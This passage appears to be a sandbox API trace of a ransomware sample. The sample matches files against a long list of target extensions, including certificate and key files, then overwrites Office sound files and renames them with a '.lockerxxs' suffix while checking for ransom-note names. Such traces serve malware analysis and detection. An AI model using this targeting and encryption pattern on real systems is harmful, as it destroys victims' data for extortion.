[0066.093] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.cs") returned 0 [0066.093] lstrlenA (lpString="*.cs") returned 4 [0066.093] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.cpp") returned 0 [0066.093] lstrlenA (lpString="*.cpp") returned 5 [0066.093] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.rar") returned 0 [0066.094] lstrlenA (lpString="*.rar") returned 5 [0066.094] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.zip") returned 0 [0066.094] lstrlenA (lpString="*.zip") returned 5 [0066.094] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.html") returned 0 [0066.094] lstrlenA (lpString="*.html") returned 6 [0066.094] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.htm") returned 0 [0066.094] lstrlenA (lpString="*.htm") returned 5 [0066.094] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.xlsx") returned 0 [0066.094] lstrlenA (lpString="*.xlsx") returned 6 [0066.094] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.xls") returned 0 [0066.094] lstrlenA (lpString="*.xls") returned 5 [0066.094] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.mp4") returned 0 [0066.094] lstrlenA (lpString="*.mp4") returned 5 [0066.094] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.ppt") returned 0 [0066.094] lstrlenA (lpString="*.ppt") returned 5 [0066.094] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.pptx") returned 0 [0066.094] lstrlenA (lpString="*.pptx") returned 6 [0066.094] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.doc") returned 0 [0066.094] lstrlenA (lpString="*.doc") returned 5 [0066.094] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.dot") returned 0 [0066.094] lstrlenA (lpString="*.dot") returned 5 [0066.094] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.docx") returned 0 [0066.094] lstrlenA (lpString="*.docx") returned 6 [0066.094] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.7z") returned 0 [0066.095] lstrlenA (lpString="*.7z") returned 4 [0066.095] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.tar") returned 0 [0066.095] lstrlenA (lpString="*.tar") returned 5 [0066.095] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.bz2") returned 0 [0066.095] lstrlenA (lpString="*.bz2") returned 5 [0066.095] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.gz") returned 0 [0066.095] lstrlenA (lpString="*.gz") returned 4 [0066.095] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.mkv") returned 0 [0066.095] lstrlenA (lpString="*.mkv") returned 5 [0066.095] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.eml") returned 0 [0066.095] lstrlenA (lpString="*.eml") returned 5 [0066.095] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.msg") returned 0 [0066.095] lstrlenA (lpString="*.msg") returned 5 [0066.095] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.edb") returned 0 [0066.095] lstrlenA (lpString="*.edb") returned 5 [0066.095] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.accdb") returned 0 [0066.095] lstrlenA (lpString="*.accdb") returned 7 [0066.095] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.odb") returned 0 [0066.095] lstrlenA (lpString="*.odb") returned 5 [0066.095] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.java") returned 0 [0066.095] lstrlenA (lpString="*.java") returned 6 [0066.095] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.asm") returned 0 [0066.095] lstrlenA (lpString="*.asm") returned 5 [0066.095] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.pfx") returned 0 [0066.095] lstrlenA (lpString="*.pfx") returned 5 [0066.095] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.pem") returned 0 [0066.095] lstrlenA (lpString="*.pem") returned 5 [0066.095] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.p12") returned 0 [0066.096] lstrlenA (lpString="*.p12") returned 5 [0066.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.gpg") returned 0 [0066.096] lstrlenA (lpString="*.gpg") returned 5 [0066.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.vsd") returned 0 [0066.096] lstrlenA (lpString="*.vsd") returned 5 [0066.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.odg") returned 0 [0066.096] lstrlenA (lpString="*.odg") returned 5 [0066.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.raw") returned 0 [0066.096] lstrlenA (lpString="*.raw") returned 5 [0066.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.nef") returned 0 [0066.096] lstrlenA (lpString="*.nef") returned 5 [0066.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.svg") returned 0 [0066.096] lstrlenA (lpString="*.svg") returned 5 [0066.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.psd") returned 0 [0066.096] lstrlenA (lpString="*.psd") returned 5 [0066.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.vmx") returned 0 [0066.096] lstrlenA (lpString="*.vmx") returned 5 [0066.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.vmdk") returned 0 [0066.096] lstrlenA (lpString="*.vmdk") returned 6 [0066.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.vdi") returned 0 [0066.096] lstrlenA (lpString="*.vdi") returned 5 [0066.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.lay6") returned 0 [0066.096] lstrlenA (lpString="*.lay6") returned 6 [0066.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.mpeg") returned 0 [0066.097] lstrlenA (lpString="*.mpeg") returned 6 [0066.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.djvu") returned 0 [0066.097] lstrlenA (lpString="*.djvu") returned 6 [0066.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.tiff") returned 0 [0066.097] lstrlenA (lpString="*.tiff") returned 6 [0066.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.backup") returned 0 [0066.097] lstrlenA (lpString="*.backup") returned 8 [0066.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.pdf") returned 0 [0066.097] lstrlenA (lpString="*.pdf") returned 5 [0066.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.cert") returned 0 [0066.097] lstrlenA (lpString="*.cert") returned 6 [0066.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.docm") returned 0 [0066.097] lstrlenA (lpString="*.docm") returned 6 [0066.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.xlsm") returned 0 [0066.097] lstrlenA (lpString="*.xlsm") returned 6 [0066.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.dwg") returned 0 [0066.097] lstrlenA (lpString="*.dwg") returned 5 [0066.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.nd") returned 0 [0066.097] lstrlenA (lpString="*.nd") returned 4 [0066.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.tlg") returned 0 [0066.097] lstrlenA (lpString="*.tlg") returned 5 [0066.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.lgb") returned 0 [0066.098] lstrlenA (lpString="*.lgb") returned 5 [0066.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.mov") returned 0 [0066.098] lstrlenA (lpString="*.mov") returned 5 [0066.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.xdw") returned 0 [0066.098] lstrlenA (lpString="*.xdw") returned 5 [0066.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.ods") returned 0 [0066.098] lstrlenA (lpString="*.ods") returned 5 [0066.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", pszSpec="*.wav") returned 1 [0066.098] lstrlenA (lpString="*.wav") returned 5 [0066.098] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV" [0066.098] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV" [0066.098] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV.") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV." [0066.101] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV") returned="DRUMROLL.WAV" [0066.101] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.102] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x4bbc, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x4bbc, lpOverlapped=0x0) returned 1 [0066.102] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.102] CloseHandle (hObject=0x8c) returned 1 [0066.104] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\drumroll.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\drumroll.wav.lockerxxs")) returned 1 [0066.105] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x5c20, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="EXPLODE.WAV", cAlternateFileName="")) returned 1 [0066.105] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.105] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EXPLODE.WAV") returned -1 [0066.105] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EXPLODE.WAV") returned 1 [0066.105] lstrcmpiA (lpString1="", lpString2="EXPLODE.WAV") returned -1 [0066.105] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV") returned="DRUMROLL.WAV" [0066.105] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0066.105] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0066.108] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV") returned="EXPLODE.WAV" [0066.108] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.108] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5bfa, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5bfa, lpOverlapped=0x0) returned 1 [0066.109] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.109] CloseHandle (hObject=0x8c) returned 1 [0066.113] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\explode.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\explode.wav.lockerxxs")) returned 1 [0066.113] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb836b000, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x53822dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb836b000, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="HAMMER.WAV", cAlternateFileName="")) returned 1 [0066.113] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.113] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HAMMER.WAV") returned -1 [0066.113] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HAMMER.WAV") returned 1 [0066.113] lstrcmpiA (lpString1="", lpString2="HAMMER.WAV") returned -1 [0066.113] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV") returned="EXPLODE.WAV" [0066.113] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0066.114] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0066.115] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV") returned="HAMMER.WAV" [0066.116] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.116] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xf96, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xf96, lpOverlapped=0x0) returned 1 [0066.116] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.116] CloseHandle (hObject=0x8c) returned 1 [0066.122] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\hammer.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\hammer.wav.lockerxxs")) returned 1 [0066.123] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x72d, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="LASER.WAV", cAlternateFileName="")) returned 1 [0066.123] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.123] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="LASER.WAV") returned -1 [0066.123] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="LASER.WAV") returned -1 [0066.123] lstrcmpiA (lpString1="", lpString2="LASER.WAV") returned -1 [0066.123] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV") returned="HAMMER.WAV" [0066.123] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0066.123] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0066.126] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV") returned="LASER.WAV" [0066.126] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.126] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x707, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x707, lpOverlapped=0x0) returned 1 [0066.126] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.126] CloseHandle (hObject=0x8c) returned 1 [0066.141] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\laser.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\laser.wav.lockerxxs")) returned 1 [0066.141] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b5dc00, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x5a7913b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4b5dc00, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x3d84, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="PUSH.WAV", cAlternateFileName="")) returned 1 [0066.141] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.141] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PUSH.WAV") returned -1 [0066.141] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PUSH.WAV") returned -1 [0066.142] lstrcmpiA (lpString1="", lpString2="PUSH.WAV") returned -1 [0066.142] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV") returned="LASER.WAV" [0066.142] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0066.142] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0066.145] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV") returned="PUSH.WAV" [0066.145] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.145] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3d5e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3d5e, lpOverlapped=0x0) returned 1 [0066.145] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.145] CloseHandle (hObject=0x8c) returned 1 [0066.148] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\push.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\push.wav.lockerxxs")) returned 1 [0066.150] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eba3e00, ftCreationTime.dwHighDateTime=0x1bfa2b0, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3eba3e00, ftLastWriteTime.dwHighDateTime=0x1bfa2b0, nFileSizeHigh=0x0, nFileSizeLow=0x1664, dwReserved0=0x3000003, dwReserved1=0x4f6000, cFileName="SUCTION.WAV", cAlternateFileName="")) returned 1 [0066.150] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.150] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SUCTION.WAV") returned -1 [0066.150] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SUCTION.WAV") returned -1 [0066.150] lstrcmpiA (lpString1="", lpString2="SUCTION.WAV") returned -1 [0066.150] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV") returned="PUSH.WAV" [0066.150] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0066.150] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="" [0066.153] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV") returned="SUCTION.WAV" [0066.153] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0066.153] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x163e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x163e, lpOverlapped=0x0) returned 1 [0066.153] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0066.154] CloseHandle (hObject=0x8c) returned 1 [0066.154] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\suction.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\media\\suction.wav.lockerxxs")) returned 1 [0066.155] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, 